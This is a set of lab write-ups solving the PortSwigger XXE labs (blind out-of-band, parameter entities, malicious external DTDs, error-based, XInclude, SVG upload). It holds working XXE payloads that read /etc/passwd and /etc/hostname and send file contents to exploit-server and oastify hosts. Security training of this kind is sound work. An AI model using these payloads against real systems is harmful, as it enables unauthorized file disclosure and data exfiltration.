portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to XML External Entity (XXE) Injection:

3 Blind XXE with out-of-band interaction

This lab demonstrates exploiting blind XXE vulnerabilities that require out-of-band interaction to confirm and extract data.

4 Blind XXE with out-of-band interaction via XML parameter entities

This lab shows advanced blind XXE exploitation using XML parameter entities for out-of-band data retrieval.

5 Exploiting blind XXE to exfiltrate data using a malicious external DTD

This lab explains how to use malicious external DTDs to exfiltrate data through blind XXE attacks.

6 Exploiting blind XXE to retrieve data via error messages

This lab shows how to exploit blind XXE by causing error messages that leak sensitive information.

7 Exploiting XInclude to retrieve files

This lab demonstrates how XInclude can be abused in XXE attacks to retrieve files from the server.

8 Exploiting XXE via image file upload

This lab shows how XXE vulnerabilities can be exploited through image file uploads containing malicious XML data.

LAB 3 - Blind XXE with out-of-band interaction

Lab Description

image

Solution

🕵️ Detecting Blind XXE with Burp Collaborator

In some applications, direct XXE attacks may return an error or no response at all — indicating XXE protections are in place or the results of entity expansion are not reflected in the response.
This is known as Blind XXE.


To detect blind xxe in such cases, you can use out-of-band (OAST) techniques by forcing the server to interact with an external resource — such as a Burp Collaborator URL.

Clicking on checkstock feature send the following request,

POST /product/stock HTTP/1.1
Host: af200a003758a3c805485480033006f.web-security-academy.net
Cookie: session=wddsUKKawFN8qZnb8SyEtJbdsdsdmyhRWxmQ
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://af200a003758a3c805485480033006f.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://af200a003758a3c805485480033006f.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

To solve the lab we need to make an out bound request to our collaborator server to solve the lab.

For this we can use the following payload

<!DOCTYPE root [<!ENTITY  % ext SYSTEM "http://burp-collaborator.net/">]>
<stockCheck>
  <productId>%ext;</productId>
  <storeId>1</storeId>
</stockCheck>

But in the response we get an error stating that - Entities are not allowed for security reasons

Request:

image

Response:

image

So instead of using parameterized entities, we use normal entities.

📦 Payload for Blind XXE

Replace your entity declaration to point to your Burp Collaborator domain (or any controlled external domain):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://r......c.oastify.com"> ]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
    <storeId>
        1
    </storeId>
</stockCheck>

🧠 Replace the oastify.com domain with your own Burp Collaborator payload URL.

image

The response states - Invalid product ID which is an indicator that there is no productID but still the application may have parsed the entity and made out-bound request to our burp collaborator server.


✅ Confirming the XXE

  1. Send the request via Burp Repeater or any HTTP client.
  2. Go to Burp → Collaborator tab.
  3. Click “Poll now” to check for any DNS or HTTP interactions.
  4. Your request is logged, you’ve confirmed a Blind XXE vulnerability.

image

We have solved the lab

image


🛠️ Real-World Impact


LAB 4 - Blind XXE with out-of-band interaction via XML parameter entities

Lab Description

image

📘 Overview: Blind XXE Using Parameter Entities

Sometimes, regular XXE payloads are blocked by input filters or hardened XML parsers. In such cases, parameter entities offer an alternative method of exploitation.


🧬 What Are Parameter Entities?

Parameter entities are a special kind of XML entity that:


📌 Declaration Syntax

<!ENTITY % myparameterentity "my parameter entity value" >

📌 Usage

Instead of using &name; like regular entities, parameter entities use %name;:

%myparameterentity;

🔍 Blind XXE via OOB Detection Using Parameter Entities

If the server doesn’t return XXE output in the HTTP response, you can still detect blind XXE by monitoring for out-of-band (OOB) DNS or HTTP interactions using Burp Collaborator or your own server.


💣 Sample Payload

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com">
  %xxe;
]>

If you observe a hit on your Burp Collaborator domain, the application is vulnerable to Blind XXE.


🔐 When to Use

Solution

Clicking on checkstock feature send the following request,

POST /product/stock HTTP/1.1
Host: Da8300cf94a26be480260884005700e8.web-security-academy.net
Cookie: session=sUKKadfdsfwFN8qZnb8SyEtJbdsdsdmyhtyty
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Da8300cf94a26be480260884005700e8-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://Da8300cf94a26be480260884005700e8.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

To solve the lab we need to make an out bound request to our collaborator server to solve the lab.

For this we can use the following payload

<!DOCTYPE root [<!ENTITY  % ext SYSTEM "http://burp-collaborator.net/">]>
<stockCheck>
  <productId>%ext;</productId>
  <storeId>1</storeId>
</stockCheck>

🔹 Modify Request with Parameter Entity Payload

Replace the original XML with the following:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://q6x580qbz3i8x9wutkq9i4bg97fy3ord.oastify.com">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

📡 Detect the OOB Interaction

  1. Go to Burp Collaborator tab.
  2. Click “Poll now”.
  3. If you see DNS or HTTP interactions, the lab is vulnerable.

    image

  4. Lab gets marked as Solved automatically after interaction.

    image

Key Takeaway

  1. Check if the application accepts XML input

    • Submit a basic XML payload to confirm that the server processes XML content.
  2. If XML is accepted, attempt to declare an internal entity

    • Define a simple XML entity within a DOCTYPE declaration to test for potential injection.
  3. Try referencing the declared entity in the XML body

    • If the entity is expanded or triggers a response, it may indicate a vulnerability.
  4. If referencing the entity causes an error or is blocked, test using parameter entities

    • Parameter entities are used within the DTD and can be leveraged for out-of-band (OOB) interaction, useful for detecting blind XXE vulnerabilities.

LAB 5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD

Lab Description

image

Solution

🔐 Step 1: Host Malicious DTD on Exploit Server

Create the following DTD file (malicious.dtd) and upload it to your exploit server:

Note you can also used your collabrator server so you get response there instamce of this https://exploit-0ad2004004843a168182a2f5018800b6.exploit-server.net/?x=%file

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://exploit-0ad2004004843a168182a2f5018800b6.exploit-server.net/?x=%file;'>">
%eval;
%exfiltrate;

💡 Note: Instead of using the provided exploit server, you can optionally host the DTD on your own Burp Collaborator server or OAST domain (e.g., https://your-collaborator-id.oastify.com/?x=%file). This approach allows you to directly observe DNS or HTTP interactions triggered by the vulnerable XML parser, making it ideal for blind XXE exploitation and real-time validation.

image

🔍 Explanation:


📦 Step 2: Send the XML Payload to Target Application

Submit the following XML payload to the vulnerable “Check stock” feature:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "https://exploit-0ad2004004843a168182a2f5018800b6.exploit-server.net/malicious.dtd">
  %xxe;
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

image


📡 Step 3: Monitor Exploit Server for Interaction

image

This confirms that the XXE payload successfully caused the server to fetch and process the malicious DTD, and exfiltrate the hostname.

Submit the hostname to solve the lab.

image


✅ Key Takeaway

LAB 6 - Exploiting blind XXE to retrieve data via error messages

Lab Description

image

Solution

📁 Step 1: Host Malicious DTD on Exploit Server

Create and upload the following malicious DTD to your exploit server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

image

💡 How It Works:


📤 Step 2: Send XXE Payload to Target

Send the following XML payload to the “Check stock” feature of the target application:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "https://exploit-0a89003a032db21e8245e131014c005d.exploit-server.net/malicious.dtd">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

image


📋 Expected Behavior

Since the application does not display stock check results, but does return XML parsing errors, the malicious payload triggers a parsing failure. The error message will include the expanded contents of /etc/passwd due to the forced invalid path.

Thus we can see lab is solved

image


✅ Key Takeaway

📄 Reading Multi-line Data via Error-Based XXE

  1. Use FTP or file URI — Remember, XXE can abuse various URI schemes like ftp://, file://, etc.
  2. Trigger XML Parsing Errors — If the app reflects XML parsing errors, you can embed file content in the error response.

💥 Execution Logic

Error: file not found: /nonexistent/root\:x:0:0\:root:/root:/bin/bash


⚠️ Error-Based Exfiltration Constraints

  1. Even though errors are reflected in-band, you still need OOB interaction to stack parameter entities using external DTD.
  2. The application must return XML parsing errors in the HTTP response to expose the content of the multi-line file.

LAB 7 - Exploiting XInclude to retrieve files

Lab Description

image

Solution

🔧 XInclude Use Cases

When to Use XInclude:

  1. ✅ You do not have control over the entire XML document — only over a fragment (e.g., a parameter like productId).
  2. ✅ The application reflects or processes the content of the element you control.

🧪 XInclude Payload Example

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

This attempts to include the contents of /etc/passwd in the XML response.


📬 Initial Request

image

Usually if an API accepts JSON data, then most probably it will also accept xml data too. We can change the content type by using content-type-converter

image

In this lab sending JSON data didn’t work.

We will used below payload:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

To inject this payload into a specific parameter (e.g., productId), URL-encode the XML and send it in the body:

POST /product/stock HTTP/2
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
...
productId=%3Cfoo+xmlns%3Axi%3D%22http%3A//www.w3.org/2001/XInclude%22%3E%3Cxi%3Ainclude+parse%3D%22text%22+href%3D%22file%3A///etc/passwd%22/%3E%3C/foo%3E&storeId=1

image

image


✅ Lab Success Criteria


🔐 XInclude attacks depend heavily on the parser configuration. Many secure parsers disable XInclude by default.


LAB 8 - Exploiting XXE via image file upload

Lab Description

image

Solution

🖼️ SVG-Based XXE Exploitation

🔍 File Type Awareness

When analyzing for potential XXE vulnerabilities, keep an eye on the accepted file types:


Svg file used xml to for building svg file below is svg example file in xml

image

⚙️ Step-by-Step Attack Flow

We can see the image upload process in below image

image

🧪 Step 1: Test for OOB Interaction (Collaborator Check)

Intercept above request

image

Modify the request:

<pre>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE foo [ &lt;!ENTITY xxe SYSTEM "http://<strong>YOUR-COLLABORATOR-ID</strong>.oastify.com"&gt; ]&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
  &lt;text&gt;&amp;xxe;&lt;/text&gt;
&lt;/svg&gt;
</pre>

image

✅ If your Burp Collaborator gets a ping, the parser is vulnerable to XXE.

The server returns a 500 error code but the connections were generated:

image


🔓 Step 2: Local File Read via XXE

Now exfiltrate the contents of /etc/hostname:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink"
     width="300" height="200" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

🟢 Upload this as test.svg, attach it as your avatar, and submit the comment.

🖼 When you open your avatar in a new tab, the contents of /etc/hostname (e.g., 81da8cd96d3a) will be visible inside the image.

image

If successful, the image renders the server’s hostname.

image

Submit the name of the hostname to solve the lab.

image


📌 Key Takeaways


🧠 Pro Tip

Many image processing pipelines (like Batik) parse SVGs and execute embedded XML, so even without full control over the backend, you can leak sensitive files if the image is rendered.